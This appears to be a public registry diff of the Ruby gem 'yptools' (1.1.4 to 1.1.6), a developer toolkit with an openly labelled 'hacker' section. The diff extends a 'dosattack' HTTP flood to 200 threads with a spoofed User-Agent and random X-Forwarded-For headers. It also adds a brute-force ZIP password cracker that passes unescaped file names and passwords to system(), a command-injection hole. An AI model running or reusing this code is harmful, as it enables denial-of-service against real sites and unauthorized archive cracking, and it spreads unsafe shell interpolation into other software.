yptools 1.1.4 → 1.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/yptools/autocre/yp_autocre.rb +1 -1
- data/lib/yptools/dosattack/yp_dosattack.rb +9 -2
- data/lib/yptools/help/yp_help.rb +12 -10
- data/lib/yptools/unziptools/yp_unziptools.rb +93 -0
- data/lib/yptools.rb +12 -0
- metadata +3 -2
    
        checksums.yaml
    CHANGED
    
    | @@ -1,7 +1,7 @@ | |
| 1 1 | 
             
            ---
         | 
| 2 2 | 
             
            SHA256:
         | 
| 3 | 
            -
              metadata.gz:  | 
| 4 | 
            -
              data.tar.gz:  | 
| 3 | 
            +
              metadata.gz: bce0b24f8105efc32897586bcad82bae9a7431ec57aef6aadf01184b77a5625d
         | 
| 4 | 
            +
              data.tar.gz: 20e96b240ce3052ed6eb296098856d2d3c9acf5301d7feb2f4ada19fb53da49f
         | 
| 5 5 | 
             
            SHA512:
         | 
| 6 | 
            -
              metadata.gz:  | 
| 7 | 
            -
              data.tar.gz:  | 
| 6 | 
            +
              metadata.gz: 4432ede4114c7be8e96597ac1a907125a18baca8b3d8c5dc00b9b70f0bf46925421f8aa0e014dbc01043866655114f905af49b9fd07abf53e37c9426b9d0337c
         | 
| 7 | 
            +
              data.tar.gz: 84192a97f9bd067dd493f5131d1269bf3293ef7dabc0345aa96c559e7283a4a1fb0943204b897c4f9a80fc5bc12f5a7f5b04ebf54e02f0b058f6dda2a012a0e1
         | 
| @@ -9,7 +9,7 @@ class YPDosAttack | |
| 9 9 | 
             
                    uri = URI(url) # 修改为你想要请求的网址
         | 
| 10 10 |  | 
| 11 11 | 
             
                    n = 10 # 发送 10 个请求
         | 
| 12 | 
            -
                    concurrency =  | 
| 12 | 
            +
                    concurrency = 200 # 使用 100 个线程
         | 
| 13 13 | 
             
                    if request_count
         | 
| 14 14 | 
             
                        n = request_count.to_i
         | 
| 15 15 | 
             
                    end
         | 
| @@ -26,7 +26,14 @@ class YPDosAttack | |
| 26 26 | 
             
                    n.times do |i|
         | 
| 27 27 | 
             
                      threads << Thread.new do
         | 
| 28 28 | 
             
                        begin
         | 
| 29 | 
            -
                           | 
| 29 | 
            +
                          req = Net::HTTP::Get.new(uri)
         | 
| 30 | 
            +
                          req['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' # 添加 User-Agent 请求头
         | 
| 31 | 
            +
                          ip_address = Array.new(4) { rand(256) }.join('.')
         | 
| 32 | 
            +
                          req['X-Forwarded-For'] = ip_address
         | 
| 33 | 
            +
                          # req['X-Forwarded-For'] = '192.168.0.1' # 将 X-Forwarded-For 请求头设置为你想要使用的 IP 地址
         | 
| 34 | 
            +
                          response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
         | 
| 35 | 
            +
                            http.request(req)
         | 
| 36 | 
            +
                          end
         | 
| 30 37 | 
             
                          mutex.synchronize do
         | 
| 31 38 | 
             
                            if response.is_a?(Net::HTTPSuccess)
         | 
| 32 39 | 
             
                              success_count += 1
         | 
    
        data/lib/yptools/help/yp_help.rb
    CHANGED
    
    | @@ -3,13 +3,7 @@ class YPHelp | |
| 3 3 | 
             
              def self.message
         | 
| 4 4 | 
             
                puts %q{
         | 
| 5 5 |  | 
| 6 | 
            -
                   | 
| 7 | 
            -
                  chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
         | 
| 8 | 
            -
                               [yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
         | 
| 9 | 
            -
             | 
| 10 | 
            -
                  openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
         | 
| 11 | 
            -
             | 
| 12 | 
            -
                  🚀🚀🚀 - iOS开发者(IOS Developer)
         | 
| 6 | 
            +
                  🍎🍎🍎 - iOS开发者(IOS Developer)
         | 
| 13 7 | 
             
                  autocre: use [yptools autocre ...] 自动化工具命令
         | 
| 14 8 | 
             
                           use [yptools autocre -objc ...] 根据 json 自动创建 Objective-C 数据库操作文件 .h|.m 文件。(依赖三方库 FMDB )
         | 
| 15 9 | 
             
                           use [yptools autocre -init] 构建数据库操作文件的json模板
         | 
| @@ -20,12 +14,16 @@ class YPHelp | |
| 20 14 |  | 
| 21 15 | 
             
                  showipa: use [yptools showipa ...] 用于解析ipa文件
         | 
| 22 16 |  | 
| 23 | 
            -
                  update: use [yptools update] 更新yptools
         | 
| 24 | 
            -
                  
         | 
| 25 17 | 
             
                  ufct: use [yptools ufct] 更新当前目录下面文件后缀为.h|.m 的文件创建时间
         | 
| 26 18 |  | 
| 27 19 | 
             
                  xpj: use [yptools xpj ...] use xcodeproj api
         | 
| 28 20 | 
             
                       use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
         | 
| 21 | 
            +
             | 
| 22 | 
            +
                  🤖🤖🤖 - 智能聊天、绘画(OpenAI)
         | 
| 23 | 
            +
                  chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
         | 
| 24 | 
            +
                               [yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
         | 
| 25 | 
            +
             | 
| 26 | 
            +
                  openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
         | 
| 29 27 |  | 
| 30 28 | 
             
                  🤡🤡🤡 - hacker
         | 
| 31 29 | 
             
                  scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
         | 
| @@ -34,7 +32,11 @@ class YPHelp | |
| 34 32 |  | 
| 35 33 | 
             
                  dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
         | 
| 36 34 |  | 
| 37 | 
            -
                   | 
| 35 | 
            +
                  unzip: use [yptools unzip <文件>] 分析压缩文件,破解密码。【扩展说明:n='0-10' a='a-z' A='A-Z' s='特殊字符'】(eg:yptools unzip -n -a -A file.zip)
         | 
| 36 | 
            +
             | 
| 37 | 
            +
                  💩💩💩 - 帮助(help & update)
         | 
| 38 | 
            +
                  update: use [yptools update] 更新yptools
         | 
| 39 | 
            +
             | 
| 38 40 | 
             
                  help: use [yptools help] 查看帮助
         | 
| 39 41 |  | 
| 40 42 | 
             
                }
         | 
| @@ -0,0 +1,93 @@ | |
| 1 | 
            +
            require_relative '../log/yp_log'
         | 
| 2 | 
            +
             | 
| 3 | 
            +
            class YPUnzipTools
         | 
| 4 | 
            +
             | 
| 5 | 
            +
                def self.unzip(argvs) 
         | 
| 6 | 
            +
             | 
| 7 | 
            +
                  # 测试方法
         | 
| 8 | 
            +
                  password_characters = []
         | 
| 9 | 
            +
                  
         | 
| 10 | 
            +
                  arr_n = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
         | 
| 11 | 
            +
                  arr_a = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",]
         | 
| 12 | 
            +
                  arr_A = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",]
         | 
| 13 | 
            +
                  arr_s = ["!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "-", "_", "+", "=", "{", "}", "[", "]", "|", "\\", ":", ";", "<", ">", ",", ".", "?", "/"]
         | 
| 14 | 
            +
             | 
| 15 | 
            +
                  filename = argvs.last
         | 
| 16 | 
            +
                  if File.exist?(filename)
         | 
| 17 | 
            +
                    yp_log_doing "#{filename} 存在,准备开始扫描"
         | 
| 18 | 
            +
                  else
         | 
| 19 | 
            +
                    yp_log_fail "#{filename} 不存在"
         | 
| 20 | 
            +
                    return
         | 
| 21 | 
            +
                  end
         | 
| 22 | 
            +
                
         | 
| 23 | 
            +
                  if argvs.include?("-n") 
         | 
| 24 | 
            +
                    password_characters += arr_n
         | 
| 25 | 
            +
                  end
         | 
| 26 | 
            +
                  
         | 
| 27 | 
            +
                  if (argvs.include?("-a")) 
         | 
| 28 | 
            +
                    password_characters += arr_a
         | 
| 29 | 
            +
                  end
         | 
| 30 | 
            +
             | 
| 31 | 
            +
                  if argvs.include?("-A") 
         | 
| 32 | 
            +
                    password_characters += arr_A
         | 
| 33 | 
            +
                  end
         | 
| 34 | 
            +
             | 
| 35 | 
            +
                  if argvs.include?("-s") 
         | 
| 36 | 
            +
                    password_characters += arr_s
         | 
| 37 | 
            +
                  end
         | 
| 38 | 
            +
             | 
| 39 | 
            +
                  if (password_characters.length == 0)
         | 
| 40 | 
            +
                    password_characters = arr_n + arr_a + arr_A + arr_s
         | 
| 41 | 
            +
                  end
         | 
| 42 | 
            +
             | 
| 43 | 
            +
                  yp_log_msg "扫描由下面数组组成的密码"
         | 
| 44 | 
            +
                  yp_log_success "#{password_characters}"
         | 
| 45 | 
            +
             | 
| 46 | 
            +
                  characters = password_characters
         | 
| 47 | 
            +
                  
         | 
| 48 | 
            +
                  length = 10000
         | 
| 49 | 
            +
                  allCount = 0
         | 
| 50 | 
            +
                  for num in 1..length do
         | 
| 51 | 
            +
                    allCount += self.generate_passwords(filename, num, characters)
         | 
| 52 | 
            +
                  end
         | 
| 53 | 
            +
                  yp_log_fail "暂未发现密码,共尝试了#{allCount}个密码!"
         | 
| 54 | 
            +
             | 
| 55 | 
            +
                end
         | 
| 56 | 
            +
             | 
| 57 | 
            +
                def self.generate_passwords(filename, length, characters, prefix = "", count = 0)
         | 
| 58 | 
            +
                    sleep(0.01)
         | 
| 59 | 
            +
                    # 如果密码长度为0,直接返回前缀并增加计数器
         | 
| 60 | 
            +
                    if length == 0
         | 
| 61 | 
            +
                      result = self.unzip_file(filename, prefix)
         | 
| 62 | 
            +
                      if result == 1
         | 
| 63 | 
            +
                        yp_log_success "解压成功,密码是#{prefix}"
         | 
| 64 | 
            +
                        exit
         | 
| 65 | 
            +
                        return count
         | 
| 66 | 
            +
                      else
         | 
| 67 | 
            +
                        yp_log_msg "#{prefix}:密码错误,解压失败"
         | 
| 68 | 
            +
                      end
         | 
| 69 | 
            +
                      count += 1
         | 
| 70 | 
            +
                    else
         | 
| 71 | 
            +
                      # 对于每个字符,将其加入到前缀中并递归生成更短的密码
         | 
| 72 | 
            +
                      characters.each do |c|
         | 
| 73 | 
            +
                        new_prefix = prefix + c
         | 
| 74 | 
            +
                        count = self.generate_passwords(filename, length - 1, characters, new_prefix, count)
         | 
| 75 | 
            +
                      end
         | 
| 76 | 
            +
                    end
         | 
| 77 | 
            +
                    return count
         | 
| 78 | 
            +
                end
         | 
| 79 | 
            +
                  
         | 
| 80 | 
            +
                def self.unzip_file(filePath, password) 
         | 
| 81 | 
            +
                    zip_file = filePath
         | 
| 82 | 
            +
                    # 执行解压命令
         | 
| 83 | 
            +
                    puts "unzip -P #{password} -o -q #{zip_file}"
         | 
| 84 | 
            +
                    system("unzip -P #{password} -o -q #{zip_file}")
         | 
| 85 | 
            +
                    # 判断解压是否成功
         | 
| 86 | 
            +
                    if $?.exitstatus == 0
         | 
| 87 | 
            +
                        return 1
         | 
| 88 | 
            +
                    else
         | 
| 89 | 
            +
                        return 0
         | 
| 90 | 
            +
                    end  
         | 
| 91 | 
            +
                end
         | 
| 92 | 
            +
             | 
| 93 | 
            +
            end
         | 
    
        data/lib/yptools.rb
    CHANGED
    
    | @@ -14,6 +14,7 @@ require_relative 'yptools/chatai/yp_chatai' | |
| 14 14 | 
             
            require_relative 'yptools/portscan/yp_portscan'
         | 
| 15 15 | 
             
            require_relative 'yptools/scanlocalips/yp_scanlocalips'
         | 
| 16 16 | 
             
            require_relative 'yptools/dosattack/yp_dosattack'
         | 
| 17 | 
            +
            require_relative 'yptools/unziptools/yp_unziptools'
         | 
| 17 18 |  | 
| 18 19 | 
             
            class YPTools
         | 
| 19 20 |  | 
| @@ -116,6 +117,13 @@ class YPTools | |
| 116 117 | 
             
                        self.scanlocalips
         | 
| 117 118 | 
             
                    when 'dosattack'
         | 
| 118 119 | 
             
                        self.dosattack argvs
         | 
| 120 | 
            +
                    when 'unzip'
         | 
| 121 | 
            +
                        if argvs.size > 1
         | 
| 122 | 
            +
                            self.unzip argvs
         | 
| 123 | 
            +
                        else
         | 
| 124 | 
            +
                            yp_log_fail "'yptools unzip ..' 参数缺失"
         | 
| 125 | 
            +
                            self.help
         | 
| 126 | 
            +
                        end
         | 
| 119 127 | 
             
                    else
         | 
| 120 128 | 
             
                        self.help
         | 
| 121 129 | 
             
                    end
         | 
| @@ -186,6 +194,10 @@ class YPTools | |
| 186 194 | 
             
                    YPDosAttack.dosattack(argvs)
         | 
| 187 195 | 
             
                end
         | 
| 188 196 |  | 
| 197 | 
            +
                def self.unzip(argvs) 
         | 
| 198 | 
            +
                    YPUnzipTools.unzip(argvs)
         | 
| 199 | 
            +
                end
         | 
| 200 | 
            +
             | 
| 189 201 | 
             
            end
         | 
| 190 202 |  | 
| 191 203 |  | 
    
        metadata
    CHANGED
    
    | @@ -1,14 +1,14 @@ | |
| 1 1 | 
             
            --- !ruby/object:Gem::Specification
         | 
| 2 2 | 
             
            name: yptools
         | 
| 3 3 | 
             
            version: !ruby/object:Gem::Version
         | 
| 4 | 
            -
              version: 1.1. | 
| 4 | 
            +
              version: 1.1.6
         | 
| 5 5 | 
             
            platform: ruby
         | 
| 6 6 | 
             
            authors:
         | 
| 7 7 | 
             
            - chenghengsheng
         | 
| 8 8 | 
             
            autorequire:
         | 
| 9 9 | 
             
            bindir: bin
         | 
| 10 10 | 
             
            cert_chain: []
         | 
| 11 | 
            -
            date: 2023- | 
| 11 | 
            +
            date: 2023-05-08 00:00:00.000000000 Z
         | 
| 12 12 | 
             
            dependencies:
         | 
| 13 13 | 
             
            - !ruby/object:Gem::Dependency
         | 
| 14 14 | 
             
              name: bundler
         | 
| @@ -144,6 +144,7 @@ files: | |
| 144 144 | 
             
            - lib/yptools/package/yp_package.rb
         | 
| 145 145 | 
             
            - lib/yptools/portscan/yp_portscan.rb
         | 
| 146 146 | 
             
            - lib/yptools/scanlocalips/yp_scanlocalips.rb
         | 
| 147 | 
            +
            - lib/yptools/unziptools/yp_unziptools.rb
         | 
| 147 148 | 
             
            - lib/yptools/update/yp_update.rb
         | 
| 148 149 | 
             
            - lib/yptools/xcodeproj/yp_xcodeproj.rb
         | 
| 149 150 | 
             
            homepage: https://github.com/HansenCCC/YPTools.git
         |